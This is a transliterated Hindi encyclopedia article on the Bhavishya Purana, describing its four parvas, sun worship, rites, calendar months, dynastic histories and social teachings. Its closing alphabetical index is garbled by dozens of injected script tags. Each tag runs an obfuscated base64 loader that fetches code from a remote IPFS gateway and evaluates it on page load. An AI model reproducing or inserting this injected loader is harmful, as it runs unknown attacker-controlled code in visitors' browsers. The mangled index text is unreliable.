भविष्य पुराण

[[chitr:Cover-Bhavishya-Purana.jpg|thumb|bhavishy puran, gitapres gorakhapur ka avaran prishth]] sooryopasana aur usake mahattv ka jaisa vyapak varnan 'bhavishy puran' mean prapt hota hai. vaisa kisi any puran mean nahian upalabdh hota. isalie is puran ko 'saur granth' bhi kahate haian. yah granth bahut adhik prachin nahian hai. is puran mean do hazar varsh ka atyant satik vivaran prapt hota hai. 'bhavishy puran' ke anusar, isake shlokoan ki sankhya pachas hazar ke lagabhag honi chahie, parantu vartaman mean kul atthaees hazar shlok hi upalabdh haian. is puran ko char khandoan mean vibhajit kiya gaya hai- brahm parv, madhyam parv, pratisarg parv aur uttar parv. 'bhavishy puran' ki vishay vastu mean soory ki mahima, unake param tejasvi svaroop, unake parivar, unaki upasana paddhati, vividh vrat-upavas, unako karane ki vidhi, samudrik shastr, stri-purush ke sharirik lakshan, ratnoan evan maniyoan ki pariksha ka vidhan, vibhinn prakar ke stotr, anek saprakar ki aushadhiyoan ka varnan, varp vidya ka vishadh jnan, vividh rajavanshoan ka ullekh, vividh bharatiy sanskar, tatkalin samajik vyavastha, shiksha-pranali tatha vastu shilp adi shamil haian jin par vistar se prakash dala gaya hai.

brahm parv

brahm parv mean vyas shishy maharshi sumantu evan raja shatanik ke sanvadoan dvara is puran ka shubharambh hota hai. prarambh mean is puran ki mahima, vedoan tatha puranoan ki utpatti, kal ganana, yugoan ka vibhajan, garbhadhan ke samay se lekar yajnopavit sanskaroan tak ki sankshipt vidhi, bhojan vidhi, daean hath mean sthit vividh paanch prakar ke tirthoan, oankar evan gayatri jap ka mahattv, abhivadan vidhi, mata-pita tatha guru ki mahima ka varnan, vivah yogy striyoan ke shubh-ashubh lakshan, panch mahayajnoan, purushoan evan rajapurushoan ke shubh-ashubh lakshan, vrat-upavas pooja vidhi, sooryopasana ka mahatmy aur unase ju di kathaoan ka vivaran prapt hota hai. thumb|200px|gayatri devi
Gayatri Devi

is parv mean daean hath mean sthit paanch tirthoan mean– dev tirth, pitri tirth, brahm tirth, prajapaty tirth aur saumy tirth batae ge haian.
dev tirth mean brahman ko daean hath se di gee dakshina adi karm ate haian.
pitri tirth mean tarpan evan pind dan adi karmoan ka ullekh milata hai.
brahm tirth mean achaman adi karm ate haian.
prajapaty tirth mean vivah ke samay lagnahotr adi karm ate haian.
saumy tirth mean dev kary ke lie kie ge karm, pooja-archana adi haian.

isi poorv mean jin panch mahayajnoan ka ullekh kiya gaya hai, ve is prakar haian-

brahm yajn,
pitri yajn,
dev yajn,
bhoot yajn tatha
atithi yajn. ye yajn apane namanusar hi kie jate haian. yatha-brahm muhoort mean eeshvar ke lie kiya jane vala yajn 'brahm yajn', pitaroan ki santushti aur prasannata ke lie kiya jane vala yajn 'pitri yajn', devatoan ki santushti ke lie kiya jane vala yajn 'dev yajn', samast praniyoan ki sukh-shanti ke lie kiya jane vala yajn 'bhoot yajn' aur atithi ki seva mean rat rahana hi 'atithi yajn' kahalata hai. isi parv mean stri-purushoan ke shubh-ashubh lakshanoan ke vishay mean charcha karate hue brahma ji kartikey se kahate haian. ki jis stri ki griva mean rekhaean hoan aur netroan ke koroan ka kuchh safed bhag lali lie ho; vah stri jis ghar mean jati hai, us ghar ki uttarottar vriddhi hoti hai. jisake baean hath, kan ya gale par til ya massa ho; usaki pahali santan putr hoti hai.

madhyam parv

is parv mean mukhy roop se yajn karmoan ka shastriy vivechan prapt hota hai. char prakar ke masoan-

chandr mas,
saur mas,
nakshatr mas aur
shravan mas ka varnan bhi is parv mean kiya gaya hai.

shukl paksh pratipada se amavasya tak ka mas 'chandr mas',
soory dvara ek rashi mean sankrati se doosari sankrati mean pravesh karane ka samay 'saur mas',
ashvin nakshatr se revati nakshatr paryant 'nakshatr mas' aur
poore tis din ka ya kisi tithi ko lekar tis din bad ane vali tithi tak ka samay 'shravan mas' kahalata hai.

shraddhakarm, pitrikarm adi 'chandr mas' mean karane chahie.
vivah-sanskar, yajn, vrat, snan adi satkarm 'saur mas' mean karane ka vidhan hai.
som ya pitrigan ke kary 'nakshatr mas' mean kie jate haian.
prayashchitt, annaprashan, mantropasana, raj kar dena, yajn ke dinoan ki ganana adi karm 'shravan mas' mean karana chahie.
soory-chandr ki tithiyoan ke yog se jis mah mean poornima ka yog n ho aur tis dinoan tak sankraman n ho, vah 'mal mas' kahalata hai. is mas mean koee bhi shubh karm nahian kie jate. isi parv mean soot ji vibhinn tithiyoan mean kie ge karm vishesh ke phaloan ka varnan bhi karate haian.
shukl paksh mean dvitiya tithi ko yadi brihaspativar ho to us din agni poojan karane se aishvary aur ichchhapoorti ke anusar dhan labh hota hai.
ashadh evan shravan mas mean mithun-kark rashi ke soory mean dvitiya tithi ko upavas karake vishnu poojan karane se stri jaldi vidhava nahian hoti. isi prakar any tithiyoan mean kie ge poojan se kya-kya prapt hote haian, unaka vistar se ullekh kiya gaya hai.

isi parv mean udyanoan, gochar bhoomiyoan, jalashayoan, tulasi aur mandap adi ki pratishtha ki shastriy vidhiyoan ka ullekh kiya gaya hai. grihasthashram ki upayogita, srishti, patal lok, bhoogol, jyotish, brahmanoan ki mahanata, mata-pita evan guruoan ki mahima, vriksharopan ka mahattv adi ka vistar se varnan hai. vriksharopan ke lie vaishakh, ashadh, shravan tatha bhadoan mas sarvashreshth aur jyeshth, ashvin, kartik mas ashubh evan vinashakari mane jate haian. isi parv mean das prakar ke yajn kundoan ka varnan bhi kiya gaya hai.

pratisarg parv

[[chitr:Statue-Jesus.jpg|thumb|eesa masih
Jesus]] pratisarg parv itihas ka sundar vivechan prastut karata hai. isamean adhunik ghatanaoan ka kramavar varnan hai. eesa masih ke janm, unaki bharat yatra, muhammad sahab ka avirbhav, maharani viktoriya ka rajyarohan, sat yug ke rajavanshoan ka varnan, treta yug ke sooryavanshi aur chandravanshi rajaoan ka varnan , dvapar yug ke chandravanshi rajaoan ka varnan, kali yug mean hone vale mlechchh rajaoan evan unaki bhashaoan ka varnan, nooh ki pralay gatha, magadh ke rajavansh raja nand, bauddh rajaoan tatha chauhan v paramar vansh ke rajaoan tak ka varnan isamean prapt hota hai. rajavanshoan se sambandhit kee kathaoan ke madhyam se manav-jivan ke adarsh moolyoan ke sthapana ki prerana dene mean 'bhavishy puran' agrani hai. is puran mean prasiddh betal kathaoan (vikram-baital kathaean) ya vetal pachchisi ki kathaoan ka ullekh bhi milata haian jimootavahan aur shankhachoo d ki prasiddh katha bhi is puran mean upalabdh hoti hai.

'shri satyanarayan vrat katha' ka ullekh isi parv ke teisavean se unatisavean adhyay mean kiya gaya hean yah katha hinduoan ke samajik evan parivarik jivan ke lie atyant lokopakari, mangalakari aur puny dene vali hai.
is parv mean bharat ke lagabhag ek sahastr varsh ke itihas par sundar prakash dala gaya hai. is vajah se is puran ko vartaman bharatiy sanskriti, dharm aur sabhyata ka mahanh granth kahana anuchit nahian hoga. prasangavash isamean 'markandey puran' ki bhaanti 'durga saptashati' ke charitroan ka bhi varnan prapt hota hai.

uttar parv

[[chitr:Narada-Muni.jpg|thumb|200px|narad muni
Narad Muni]]

is parv mean vishnu-maya se mohit narad ka varnan, chitralekha charitr varnan, ashok tatha karavir vrat ka mahatmy gopaniy kokila vrat ka varnan (pati-patni mean prem ki pragadhata ke lie) tatha striyoan ko saubhagy prada karane vale any vratoan ka varnan vistarapoorvak kiya gaya hai.
'bhavishy puran' ki sabase mahattvapoorn visheshata yah hai ki isaka parayan aur rachana mag brahmanoan dvara ki gee hai. ye mag brahman eerani purohit the, jo eesa ki tisari shatabdi mean bharat akar bas ge the. ye soory ke upasak the. soory ki upasana vaidik kal se bharat mean hoti rahi hai. mag brahmanoan ne sooryopasana ke sath 'khagol vidya' aur 'jyotish' ka prachalan kiya. jyotish shastr ke prasiddh achary varah mihir,khagol vidya ke jnata mag brahman hi the. ye mag brahman shanai:-shanai: bharatiy jan-jivan mean poori tarah se ghul-mil ge.
bhavishy puran tatkalin samaj-vyavastha par bhi achchha prakash dalata hai. us kal ki jati-vyavastha ke bare mean yah puran kahata hai-'jati n to janm se hoti hai, n vansh se aur n hi vyavasay se, balki karm tatha acharan se hoti hai.
aise anek udaharan itihas mean mil jaeange, jo shoodr kul mean janm lekar bhi satkarm ke adhar par poojaniy bane. svayan krishna dvaipayan vyas ji maharshi parashar aur matsy kanya satyavati ke sansarg se utpann hue the. 'bhavishy puran' ke anusar varn-vyavastha eeran ke brahmanoan ki den hai. unhoanne hi brahman, kshatriy, vaishy aur shoodr jatiyoan mean samaj ko baanta tha. yah nirvivad roop se saty hai ki eerani purohit mag jyotish vidya mean parangat the. mag brahmanoan ke atirikt bhojak aur agni upasak bhi eeran se yahaan ae the, jo bad mean 'ary' kahalane lage.

[[chitr:Ramayana.jpg|thumb|ram,lakshman aur sita
Ram, Laxman and Sita|thumb|left]]

'bhavishy puran' ke anusar daksh ki putri sanjna ka vivah soory ke sath hua tha. usi se yam aur yamuna paida hue. is puran mean soory pooja ki vidhi vistar se bataee gee hai. rakt chandan, karavir pushp tatha gu d se bani khady-samagri sooryopasana mean upayukt mani gee hai. soory ke atirikt is puran mean ganesh ji ki pooja aur svarg-narak ka vistrit varnan bhi prapt hota hai. isamean bataya gaya he ki jo manushy susanskrit hote hue bhi durachar se lipt rahata hai, use raurav narak ka du:kh sahan karana p dega-chahe vah brahman ki kyoan n ho.
shiksha-pranali ke bare mean vistar se charcha karate hue 'bhavishy puran' kahata hai ki keval paanch prakar ke guru hote haian.

achary jo vedoan ka rahasy samajhaean.
upadhyay jo jivikoparjan hetu ved path karaean.
guru ya pita jo apane shishyoan aur santan ko shikshit karean tatha unamean kisi tarah ka bhedabhav n karean.
rritvik jo agnihotr ya yajn karaean.

[[chitr:Lord-Shiva-Statue-Rishikesh.jpg|bhagavan shiv ki moorti, rrishikesh
Lord Shiva Statue, Rishikesh |thumb]]

mahaguru jo guruoan ka bhi guru ho; jisane 'ved', 'puran', 'ramayan' aur 'mahabharat' ki poori tarah adhyayan kiya ho tatha soory, shiv, vishnu adi ki upasana vidhiyoan ka poora jnan rakhata ho.

'bhavishy puran' mean vratoan aur upavasoan ke vistrit varnan ke sath-sath mandir nirman ki prakriya ka bhi vistar se ullekh hai. mandiroan ke nirman mean sthapaty kala ka vishad varnan bhi is puran mean prapt hota hai. soory mandir mean soory pratimaoan ke bare mean bhi vistar se bataya gaya hai.
samaj ki arthik sthiti ke bare mean 'bhavishy puran' mean adhik janakari nahian upalabdh hoti. keval kuchh prakar ki mazadoori ka ullekh prapt hota hai. yadi pahale se mazadoori tay n ho to kul kie ge kam ka hisab lagakar mazadoori deni chahie. sadharan taur par us kal mean mazadoori 'pan' ke roop mean di jati thi. bis kau di ki ek kakini aur char kakini ka ek pan hota tha.

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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